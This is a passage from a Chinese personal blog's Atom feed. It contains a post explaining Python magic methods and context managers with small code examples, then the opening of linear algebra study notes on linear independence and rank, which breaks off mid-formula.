      <![CDATA[<p>没怎么用过 Python 的魔法方法，只用过几个 <code>__init__</code> 和上下文管理器的几个，今天记录一下。</p><span id="more"></span><blockquote><p>选择了哈利波特里的这张图，但可惜没找到带蛇的 haha</p></blockquote><hr /><blockquote><p><strong>magic method</strong><br />An informal synonym for special method.<br />一个非正式的同义词，指的是特殊方法。</p></blockquote><p>官方的名称是 <code>special method</code>.</p><blockquote><p><strong>special method</strong><br />A method that is called implicitly by Python to execute a certain operation on a type, such as addition. Such methods have names starting and ending with double underscores. Special methods are documented in Special method names.<br />特殊方法是 Python 隐式调用的，用于执行某种操作（如加法）的类型方法。这些方法的名称以双下划线开头和结尾。特殊方法在特殊方法名称中有文档说明。</p></blockquote><p>比如 <code>__add__</code> 用于实现加法操作，<code>__len__</code> 用于实现 <code>len()</code> 函数。</p><p>假如自定义一个 <code>CustomList</code> 类，想让它支持 <code>len()</code> 函数，但是要返回负数，就可以实现 <code>__len__</code> 方法：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">CustomList</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, items</span>):</span><br><span class="line">        <span class="variable language_">self</span>.items = items</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__len__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">return</span> -<span class="built_in">len</span>(<span class="variable language_">self</span>.items)</span><br><span class="line"></span><br><span class="line">my_list = CustomList([<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>])</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">len</span>(my_list))  <span class="comment"># 输出: -4</span></span><br></pre></td></tr></table></figure><p>在这个例子中，<code>CustomList</code> 类实现了 <code>__len__</code> 方法，当调用 <code>len(my_list)</code> 时，实际上是调用了 <code>my_list.__len__()</code> 方法，返回了负数的长度。</p><p>魔法方法有时候被函数调用，有时候被运算符调用，还有时候被内置语句调用。</p><p>魔法方法还有很多，在这里列出一些常见的：</p><ol><li><p><code>__init__(self, ...)</code>：对象初始化方法，在初始化对象时调用。</p></li><li><p><code>__new__(cls, ...)</code>：对象创建方法，返回一个实例。注意：它不需要 <code>self</code> 参数，因为它是一个静态方法。</p></li><li><p><code>__str__(self)</code>：定义对象的字符串表示形式，当使用 <code>str()</code> 或 <code>print()</code> 时调用。</p></li><li><p><code>__repr__(self)</code>：定义对象的官方字符串表示形式，通常用于调试。</p></li><li><p><code>__add__(self, other)</code>：定义加法操作符 <code>+</code> 的行为。当然也有 <code>__sub__</code>、<code>__mul__</code>、<code>__truediv__</code>、等，这类运算符相关的内容，详见 <a href="https://docs.python.org/3/reference/datamodel.html#emulating-numeric-types">Emulating numeric types</a></p></li><li><p><code>__eq__(self, other)</code>：定义相等操作符 <code>==</code> 的行为。还有 <code>__ne__</code>、<code>__lt__</code>、<code>__gt__</code> 等比较相关的方法，详见 <a href="https://docs.python.org/3/reference/datamodel.html#object.__eq__">Emulating container types</a></p></li><li><p><code>__hash__(self)</code>：定义对象的哈希值，用于提供一个对象的唯一标识，通常用于字典的键或集合的元素的去重。</p></li><li><p><code>__del__(self)</code>：对象销毁方法，或称析构函数，在对象被垃圾回收时调用。</p></li></ol><p>其中重点说说上下文管理器要用的几个：</p><ol><li><p><code>__enter__</code>：进入上下文管理器时调用的函数，将它的返回值绑定到 target 上面，后续则可以在代码块中使用这个 target。</p></li><li><p><code>__exit__</code>：退出上下文管理器时调用的函数。在上下文有异常的情况下，会传入 <code>exc_type</code>, <code>exc_value</code>, <code>traceback</code> 三个包含异常信息的参数</p></li></ol><p>在异步调用的情况下，则是 <code>__aenter__</code> 和 <code>__aexit__</code>，和同步的没什么区别，只是返回的是可等待对象（awaitable）。</p><p>在这里补充一下 <code>with</code>、上下文管理器的用法：</p><blockquote><p>A context manager is an object that defines the runtime context to be established when executing a with statement. The context manager handles the entry into, and the exit from, the desired runtime context for the execution of the block of code. Context managers are normally invoked using the with statement (described in section The with statement), but can also be used by directly invoking their methods.</p></blockquote><blockquote><p>上下文管理器是一个定义在执行 with 语句时需要建立的运行时上下文的对象。上下文管理器处理代码块执行时进入和退出所需运行时上下文的过程。上下文管理器通常使用 with 语句（在 The with statement 部分中描述）来调用，但也可以通过直接调用其方法来使用。</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">with</span> EXPRESSION <span class="keyword">as</span> TARGET:</span><br><span class="line">    ...</span><br></pre></td></tr></table></figure><p>上下文管理器设计出来，是为了简化程序的。如果没有它，就必须显式的在执行要执行的语句前，手动调用 <code>__enter__</code> 的语句，在调用完之后手动调用 <code>__exit__</code> 里面的语句，这会很繁琐且容易遗漏。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">cm = ContextManager()</span><br><span class="line">value = cm.__enter__()</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    ...  <span class="comment"># 这里是要执行的代码块</span></span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">    cm.__exit__(<span class="built_in">type</span>(e), e, e.__traceback__)</span><br><span class="line"><span class="keyword">finally</span>:</span><br><span class="line">    cm.__exit__(<span class="literal">None</span>, <span class="literal">None</span>, <span class="literal">None</span>)</span><br></pre></td></tr></table></figure><p>很多情况下，构造上下文管理器是为了资源的获取和释放，比如文件操作、数据库连接等。这种情况下，<code>__enter__</code> 方法通常用于获取资源，而 <code>__exit__</code> 方法则用于释放资源。手动处理的话，很容易忘记释放资源，导致资源泄漏。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;file.txt&#x27;</span>, <span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> file:</span><br><span class="line">    data = file.read()</span><br><span class="line"><span class="comment"># 这里文件已经自动关闭了</span></span><br><span class="line"></span><br><span class="line">f = <span class="built_in">open</span>(<span class="string">&#x27;file.txt&#x27;</span>, <span class="string">&#x27;r&#x27;</span>)</span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    data = f.read()</span><br><span class="line"><span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;An error occurred while reading the file: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line"><span class="keyword">finally</span>:</span><br><span class="line">    f.close()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 假如忘记调用 f.close()，就会导致文件资源泄漏</span></span><br></pre></td></tr></table></figure><p>除此之外，还有一些魔法方法是和容器类型相关的，比如：</p><ol><li><p><code>__getitem__(self, key)</code>：定义获取容器中元素的行为，比如 <code>obj[key]</code>。</p></li><li><p><code>__setitem__(self, key, value)</code>：定义设置容器中元素的行为，比如 <code>obj[key] = value</code>。</p></li><li><p><code>__delitem__(self, key)</code>：定义删除容器中元素的行为，比如 <code>del obj[key]</code>。</p></li><li><p><code>__iter__(self)</code>：定义返回一个迭代器对象，用于迭代容器中的元素。</p></li><li><p><code>__contains__(self, item)</code>：定义检查容器中是否包含某个元素的行为，比如 <code>item in obj</code>。</p></li></ol><p>还有的是关于类的，比如：</p><ol><li><p><code>__getattr__(self, name)</code>：定义当访问不存在的属性时的行为。首先会尝试 <code>__getattribute__</code> 正常获取属性，如果找不到才会调用 <code>__getattr__</code>。</p></li><li><p><code>__setattr__(self, name, value)</code>：定义设置属性的行为。</p></li><li><p><code>__delattr__(self, name)</code>：定义删除属性的行为。</p></li><li><p><code>__call__(self, ...)</code>：定义对象被调用时的行为，使实例可以像函数一样被调用。</p></li></ol><p>魔法方法还有很多，具体可以参考官方文档的 <a href="https://docs.python.org/3/reference/datamodel.html#special-method-names">Special method names</a> 一节。</p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2025/12/14/python-magic-method/</id>
    <link href="https://blog.z0z0r4.top/2025/12/14/python-magic-method/"/>
    <published>2025-12-13T17:02:08.000Z</published>
    <summary>
      <![CDATA[<p>没怎么用过 Python 的魔法方法，只用过几个 <code>__init__</code> 和上下文管理器的几个，今天记录一下。</p>]]>
    </summary>
    <title>Python Magic Method</title>
    <updated>2026-03-28T06:36:25.101Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="math" scheme="https://blog.z0z0r4.top/categories/study-notes/math/"/>
    <category term="linear-algebra" scheme="https://blog.z0z0r4.top/categories/study-notes/math/linear-algebra/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <category term="math" scheme="https://blog.z0z0r4.top/tags/math/"/>
    <category term="linear-algebra" scheme="https://blog.z0z0r4.top/tags/linear-algebra/"/>
    <content>
      <![CDATA[<p>此处用于记录我学习 <a href="https://www.youtube.com/watch?v=nHlE7EgJFds">MIT 18.06 Linear Algebra</a> 的笔记。</p><span id="more"></span><p>顺便学习 Latex 排版。</p><p><s>每次看完都会忘记，比较难受，尝试记住</s></p><h1 id="线性无关"><a class="markdownIt-Anchor" href="#线性无关"></a> 线性无关</h1><p>当一组向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>v</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>v</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex"> v_1, v_2, \ldots, v_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 满足以下条件时，称其为线性无关：</p><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>c</mi><mn>1</mn></msub><msub><mi>v</mi><mn>1</mn></msub><mo>+</mo><msub><mi>c</mi><mn>2</mn></msub><msub><mi>v</mi><mn>2</mn></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>c</mi><mi>n</mi></msub><msub><mi>v</mi><mi>n</mi></msub><mo>=</mo><mn>0</mn><mo>⇒</mo><msub><mi>c</mi><mn>1</mn></msub><mo>=</mo><msub><mi>c</mi><mn>2</mn></msub><mo>=</mo><mo>…</mo><mo>=</mo><msub><mi>c</mi><mi>n</mi></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> c_1 v_1 + c_2 v_2 + \ldots + c_n v_n = 0 \Rightarrow c_1 = c_2 = \ldots = c_n = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⇒</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></p><p>否则称其为线性相关。</p><p>向量组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 线性无关的充要条件是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><mi>n</mi></mrow><annotation encoding="application/x-tex"> R(A) = n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex"> n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 是向量的个数。</p><p>可以通过行简化阶梯形矩阵来判断向量组是否线性无关，如果矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的行简化阶梯形矩阵有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex"> n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个主元，则向量组线性无关，否则线性相关。</p><p>向量组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex"> B </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> 等价的充要条件是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><mi>R</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><mo>=</mo><mi>R</mi><mo stretchy="false">(</mo><mo stretchy="false">[</mo><mi>A</mi><mo separator="true">,</mo><mi>B</mi><mo stretchy="false">]</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> R(A) = R(B) = R([A, B]) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">([</span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">])</span></span></span></span>。</p><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>β</mi></mrow><annotation encoding="application/x-tex"> \beta </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span></span></span></span> 能被向量组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 线性表示的充要条件是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo><mo>=</mo><mi>R</mi><mo stretchy="false">(</mo><mo stretchy="false">[</mo><mi>A</mi><mo separator="true">,</mo><mi>β</mi><mo stretchy="false">]</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> R(A) = R([A, \beta]) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">([</span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span><span class="mclose">])</span></span></span></span>。</p><p>Tip: 非主元列 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex"> \alpha </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span> 为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">(</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><msub><mi>c</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>c</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>c</mi><mi>n</mi></msub></mrow></mstyle></mtd></mtr></mtable><mo fence="true">)</mo></mrow><annotation encoding="application/x-tex"> \begin{pmatrix} c_1, c_2, \ldots, c_n \end{pmatrix}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">(</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">)</span></span></span></span></span></span>，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi></mrow><annotation encoding="application/x-tex"> \alpha </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span> 的线性表示为 <span class="katex"><span class="katex-mathml"><math 